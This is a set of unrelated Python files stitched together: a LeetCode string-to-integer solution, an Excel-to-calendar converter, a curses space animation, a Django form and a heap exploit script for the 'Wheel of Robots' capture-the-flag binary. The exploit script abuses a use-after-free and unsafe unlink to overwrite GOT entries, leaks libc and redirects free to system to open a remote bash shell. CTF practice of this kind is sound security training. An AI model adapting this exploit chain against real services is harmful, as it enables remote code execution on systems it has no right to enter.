 found. Then, starting from this character, takes an optional initial plus or minus sign followed by as many numerical
  digits as possible, and interprets them as a numerical value.

The string can contain additional characters after those that form the integral number, which are ignored and have no
 effect on the behavior of this function.

If the first sequence of non-whitespace characters in str is not a valid integral number, or if no such sequence exists
 because either str is empty or it contains only whitespace characters, no conversion is performed.

If no valid conversion could be performed, a zero value is returned.

Note:

Only the space character ' ' is considered as whitespace character.
Assume we are dealing with an environment which could only store integers within the 32-bit signed integer
 range: [−231,  231 − 1]. If the numerical value is out of the range of representable values, INT_MAX (231 − 1) or
 INT_MIN (−231) is returned.
"""

class Solution:
    def myAtoi(self, str: str) -> int:

        num = []

        firstspace = 0
        firstplussign = 0
        firstpmsign = 0
        for ch in str:
            if ch.isspace() and firstspace == 0:
                print()
            else:
                firstspace = 1
                if ch.isdigit() == False:
                    if firstspace == 1:
                        if ch == '-' or ch == '+':
                            if firstplussign == 1 or firstpmsign == 1:
                                break
                        else:
                            print('in minus')
                            break

                if ch == '+' and firstplussign == 0 and firstpmsign == 0:
                    firstplussign = 1
                    firstspace = 1

                if ch == '-' and firstplussign == 0 and firstpmsign == 0:
                    firstpmsign = 1
                    firstspace = 1

                if ch.isdigit():
                    num.append(ch)
                    firstspace = 1
                    firstplussign = 1

        if len(num) == 0:
            return 0

        str1 = ''.join(num)

        max1 = (2 ** 31) - 1
        min1 = -2 ** 31

        if firstpmsign == 1:
            ans = 0 - int(str1)
            print(ans)
            if ans < min1:
                return min1
            else:
                return ans
        else:
            ans = int(str1)
            print('in pos')
            print(ans)
            if ans > max1:
                return max1
            else:
                return ans


import pandas as pd
from tqdm import tqdm
from icalendar import Calendar, Event
from datetime import datetime, time, timedelta

DATE_COL = 1
TIME_COL = 2
LOCATION_COL = -1
TITLE_COL = 3
DURATION_COL = -1

DEFAULT_DURATION_HOURS = 1
DEFAULT_DURATION_MINUTES = 0

data = pd.read_excel("in.xlsx")
cal = Calendar()

for row in tqdm(data.values):
    if type(row[DATE_COL]) == pd._libs.tslibs.timestamps.Timestamp:
        row[DATE_COL] = row[DATE_COL].to_pydatetime()
    if type(row[DATE_COL]) == datetime:
        start_datetime = row[DATE_COL]
        end_datetime = row[DATE_COL]
        if type(row[TIME_COL]) == time:
            start_time = row[TIME_COL]
            start_datetime = start_datetime.replace(hour=start_time.hour)
            start_datetime = start_datetime.replace(minute=start_time.minute)
            if DURATION_COL >= 0 and type(row[DURATION_COL]) == int:
                end_datetime = start_datetime + timedelta(hours=row[DURATION_COL])
            else:
                end_datetime = start_datetime + timedelta(hours=DEFAULT_DURATION_HOURS, minutes=DEFAULT_DURATION_MINUTES)
    elif type(row[DATE_COL]) == str and len(row[DATE_COL].split("-")) == 2:
        parts = row[DATE_COL].split("-")
        start_parts = parts[0].split(".")
        while "" in start_parts:
            start_parts.remove("")
        end_parts = parts[1].split(".")
        for idx, part in enumerate(end_parts):
            if idx >= len(start_parts):
                start_parts.append(part)
        start_datetime = datetime.strptime(f"{start_parts[0]}.{start_parts[1]}.{start_parts[2]}".replace(" ",""), '%d.%m.%Y')
        end_datetime = datetime.strptime(parts[1].replace(" ",""), '%d.%m.%Y')
    else:
        continue
    event = Event()
    event.add('summary', row[TITLE_COL])
    event.add('dtstart', start_datetime)
    event.add('dtend', end_datetime)
    if LOCATION_COL >= 0:
        event.add('location', row[LOCATION_COL])
    #event.add('description', f"Teilnehmer: {row[4]}\nAusbilder: {row[9]}\nTyp: {row[8]}")
    #event.add('description', f"Ausbilder: {row[4]}")
    cal.add_component(event)

f = open('out.ics', 'wb')
f.write(cal.to_ical())
f.close()


import random
import time
import asyncio
import curses

from animations.animate_spaceship import animate_spaceship

with open('animations/rocket_frame_1.txt') as file:
    rocket_frame_1 = file.read()

with open('animations/rocket_frame_2.txt') as file:
    rocket_frame_2 = file.read()

class EventLoopCommand():

    def __await__(self):
        return (yield self)

class Sleep(EventLoopCommand):

    def __init__(self, seconds):
        self.seconds = seconds

def draw(canvas):
    canvas.border()
    # Получаем размер окна (высота,ширина)
    window_height, window_width = curses.window.getmaxyx(canvas)
    # Создаем корутины
    coroutines = []
    stars_counter = 100
    indent = 3
    for index in range(stars_counter):
        star_shape = random.choice(['*', ':', '.', '+'])
        star_height = random.randint(indent, window_height - indent)
        star_width = random.randint(indent, window_width - indent)
        coroutines.append(blink(canvas, row=star_height, column=star_width, symbol=star_shape))

    fire_coros = []
    fire_coro = fire(canvas, start_row=window_height // 2, start_column=window_width // 2)
    fire_coros.append(fire_coro)
    ship_animation = animate_spaceship(canvas,
                                       rocket_frame_1, rocket_frame_2,
                                       start_row=window_height // 2, start_column=window_width // 2,
                                       eventloop=Sleep, sleep=1)

    while True:
        # Запускаем корутины
        for coroutine in coroutines:
            sleep_command = coroutine.send(None)
            canvas.refresh()
        for index in range(stars_counter // 2):
            coroutines[random.randint(0, len(coroutines) - 1)].send(None)
            canvas.refresh()
        # fire
        for coro in fire_coros.copy():
            try:
                coro.send(None)
            except StopIteration:
                fire_coros.remove(coro)
        # ship animations
        ship_animation.send(None)
        canvas.refresh()
        ship_animation.send(None)
        # Кудато сюда надо прикрутить read_controls(),чтобы корабль двигался. неясно как, тк
        # read_controls() блокирует работу асинхронного кода.

        time.sleep(sleep_command.seconds)

async def blink(canvas, row, column, symbol='*'):
    brightness = [curses.A_DIM, curses.A_NORMAL, curses.A_BOLD, curses.A_NORMAL]
    pause = [2, 0.3, 0.5, 0.3]
    while True:
        for index in range(4):
            canvas.addstr(row, column, symbol, brightness[index])
            await Sleep(pause[index])

async def fire(canvas, start_row, start_column, rows_speed=-0.3, columns_speed=0):
    """Display animation of gun shot, direction and speed can be specified."""

    row, column = start_row, start_column

    canvas.addstr(round(row), round(column), '*')
    await asyncio.sleep(0)

    canvas.addstr(round(row), round(column), 'O')
    await asyncio.sleep(0)
    canvas.addstr(round(row), round(column), ' ')

    row += rows_speed
    column += columns_speed

    symbol = '-' if columns_speed else '|'

    rows, columns = canvas.getmaxyx()
    max_row, max_column = rows - 1, columns - 1

    curses.beep()

    while 0 < row < max_row and 0 < column < max_column:
        canvas.addstr(round(row), round(column), symbol)
        await asyncio.sleep(0)
        canvas.addstr(round(row), round(column), ' ')
        row += rows_speed
        column += columns_speed

if __name__ == '__main__':
    curses.update_lines_cols()
    curses.wrapper(draw)
    curses.curs_set(False)


import socket
import sys
from time import sleep
from roputils import Platform, ROP_util

from utils import from_bytes, remote_shell, to_bytes, _is_int
from logger import Logger

logger = Logger("WHEEL_OF_ROBOTS")

SERVER_ADDR = ('localhost', 8889)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(SERVER_ADDR)

RECV_DELAY = 0.2

ALLOC = b'1\n'
FREE = b'2\n'
FILL = b'3\n'
START = b'4\n'

TINY = b'1\n'           # alloc 0x14
BENDER = b'2\n'         # alloc 20 * i (i <= 4, default 2)
ROBOTDEVIL = b'3\n'     # alloc 20 * i (i <= 0x63, default 0x14)
CHAINSMOKER = b'4\n'    # alloc 0x0FA0
BILBOT = b'5\n'         # alloc 0x9C40
DESTRUCTOR = b'6\n'     # alloc 20 * i (arbitrary i)

def allocate_request(name, factor=None):

    sock.recv(1024)
    sock.send(name)

    sleep(RECV_DELAY)
    sock.recv(1024)

    if name in [TINY, CHAINSMOKER, BILBOT]:
        return None

    sock.send(f"{_is_int(factor)}\n".encode())

    sleep(RECV_DELAY)
    sock.recv(1024)

    return None

def fill_request(name, content):

    if type(content) == str:
        content = content.encode()

    sock.recv(1024)
    sock.send(name)

    sleep(RECV_DELAY)
    sock.recv(1024)

    sock.send(content)

    sleep(RECV_DELAY)
    sock.recv(1024)

    return None

def free_request(name):

    sock.recv(1024)
    sock.send(name)

    sleep(RECV_DELAY)
    sock.recv(1024)

    return None

def start_request():

    sleep(2)
    res = sock.recv(1024 * 64)
    print(res, end='\n\n')

    pos = res.find(b"!! Thx ")

    if pos > -1 and res[pos + 7: pos + 7 + 6][-1] == 127:
        return res[pos + 7: pos + 7 + 6]
    return None

def command(opt):

    sock.send(opt[0])

    if opt[0] is ALLOC:

        ch = allocate_request(*opt[1:])
        logger.log_info(f"adding robot {opt[1]}")
        return ch

    elif opt[0] is FILL:
        logger.log_info(f"changing robot {opt[1]}")
        return fill_request(*opt[1:])

    elif opt[0] is FREE:
        logger.log_info(f"free robot {opt[1]}")
        return free_request(*opt[1:])

    elif opt[0] is START:
        logger.log_info(f"starting wheel")
        return start_request(*opt[1:])

def command_stream():

    # no PIE
    # main addr: 0x4017f2

    BENDER_PTR_ADDR = 0x6030f0
    GOT_PLT_FREE_ADDR = 0x603018
    GOT_PLT_EXIT_ADDR = 0x603098
    CHOOSE_OPT_ADDR = 0x40143c
    START_ADDR = 0x400940

    FREE_OFFSET = 0x9d850
    SYSTEM_OFFSET = 0x55410

    sock.recv(1024)

    libc_base = None

    # fill tcache
    for _ in range(7):
        command((ALLOC, BENDER, 4))
        command((FREE, BENDER))

    # getting UAF pointer
    command((ALLOC, BENDER, 4))
    command((FREE, BENDER))

    # overriding bender_selected_bool to true
    sock.send(ALLOC)
    sock.recv(1024)
    sock.send(b'\x00' * 4 + b'\xff')

    sleep(RECV_DELAY)
    sock.recv(1024)

    # trigger merging the free chunk with the top
    command((ALLOC, DESTRUCTOR, 0x50)) # 0x640 calloc arg
    command((FREE, DESTRUCTOR))

    # preparing the unsafe unlinking
    command((ALLOC, ROBOTDEVIL, 2)) # 0x28 calloc arg
    command((ALLOC, DESTRUCTOR, 0x40)) # 0x500 calloc arg

    #command((FILL, BENDER, b'\xff' * 80))
    command((FILL, BENDER, b'\x00' * 8 +                        # pad
                            to_bytes(0x21) +                    # size of fake chunk, with prev inuse set
                            to_bytes(BENDER_PTR_ADDR - 0x18) +  # fd of fake chunk
                            to_bytes(BENDER_PTR_ADDR - 0x10) +  # bk of fake chunk
                            to_bytes(0x20) +                    # prev size corresponding to fake chunk size
                            to_bytes(0x510) +                   # big chunk size, with prev inuse NOT set
                            b'\x00' * 8 * 4))                   # pad

    command((FREE, DESTRUCTOR))

    command((FILL, BENDER, b'\x00' * 8 +                        # pad
                            to_bytes(GOT_PLT_FREE_ADDR) +       # chainsmoker ptr
                            to_bytes(GOT_PLT_FREE_ADDR) +       # destructor ptr
                            to_bytes(BENDER_PTR_ADDR) +         # bender ptr
                            to_bytes(GOT_PLT_EXIT_ADDR) +       # tiny ptr
                            to_bytes(GOT_PLT_FREE_ADDR) +       # robotdevil ptr
                            b'\x00' * 8 +                       # bilbot ptr
                            b'\x00' * 4 +                       # option buffer
                            b'\xff' * 4 +                       # bender selected bool
                            b'\x00' * 4 +                       # chainsmoker selected bool
                            b'\x00' * 4 +                       # destructor selected bool
                            b'\xff' * 4 +                       # tiny selected bool
                            b'\xff' * 4))                       # robotdevil selected bool

    libc_base_leaked = False
    while libc_base_leaked is False:

        command((FILL, BENDER, to_bytes(BENDER_PTR_ADDR) +          # bender ptr
                                to_bytes(GOT_PLT_EXIT_ADDR) +       # tiny ptr
                                to_bytes(GOT_PLT_FREE_ADDR) +       # robotdevil ptr
                                to_bytes(GOT_PLT_FREE_ADDR) +       # bilbot ptr
                                b'\x00' * 4 +                       # option buffer
                                b'\xff' * 4 +                       # bender selected bool
                                b'\xff' * 4 +                       # chainsmoker selected bool
                                b'\xff' * 4 +                       # destructor selected bool
                                b'\xff' * 4 +                       # tiny selected bool
                                b'\xff' * 4 +                       # robotdevil selected bool
                                b'\xff' * 8 +                       # bilbot selected bool (and pad)
                                b'\xff' * 8 +                       # robot count
                                to_bytes(0x4)))                     # bender calloc factor

        command((FILL, TINY, to_bytes(START_ADDR)))
        free_addr = command((START,))

        print(f"----{free_addr}----")

        if free_addr is not None:

            free_addr = from_bytes(free_addr)
            print(f"leaked free addr: {hex(free_addr)}")

            libc_base = free_addr - FREE_OFFSET
            libc_base_leaked = True

    system_addr = libc_base + SYSTEM_OFFSET
    command((FILL, CHAINSMOKER, to_bytes(system_addr)))

    command((FILL, BENDER, to_bytes(BENDER_PTR_ADDR) +              # bender ptr
                                to_bytes(GOT_PLT_FREE_ADDR) +       # tiny ptr
                                to_bytes(GOT_PLT_FREE_ADDR) +       # robotdevil ptr
                                to_bytes(GOT_PLT_FREE_ADDR) +       # bilbot ptr
                                b'\x00' * 4 +                       # option buffer
                                b'\xff' * 4 +                       # bender selected bool
                                b'\xff' * 4 +                       # chainsmoker selected bool
                                b'\xff' * 4 +                       # destructor selected bool
                                b'\x00' * 4 +                       # tiny selected bool
                                b'\xff' * 4 +                       # robotdevil selected bool
                                b'\xff' * 8 +                       # bilbot selected bool (and pad)
                                b'\x00' * 8 +                       # robot count
                                to_bytes(0x4)))                     # bender calloc factor

    command((ALLOC, TINY))
    command((FILL, TINY, b'/bin/bash\n'))

    # executing remote system call
    sock.send(FREE)

    sock.recv(1024)
    sock.send(TINY)

    sleep(RECV_DELAY)

    remote_shell(sock)

if __name__ == "__main__":
    command_stream()


from django import forms
from django.forms import ModelForm

from .models import PrayerRequest

class PrayerRequestForm(ModelForm):
    class Meta:
        model = PrayerRequest
        fields = ['description']

        widgets = {
            'description': forms.Textarea(attrs={'placeholder': 'Введите ваше сообщение', 'class': 'form__text', 'rows': 5}),
        }
        labels = {
            'description': ''
        }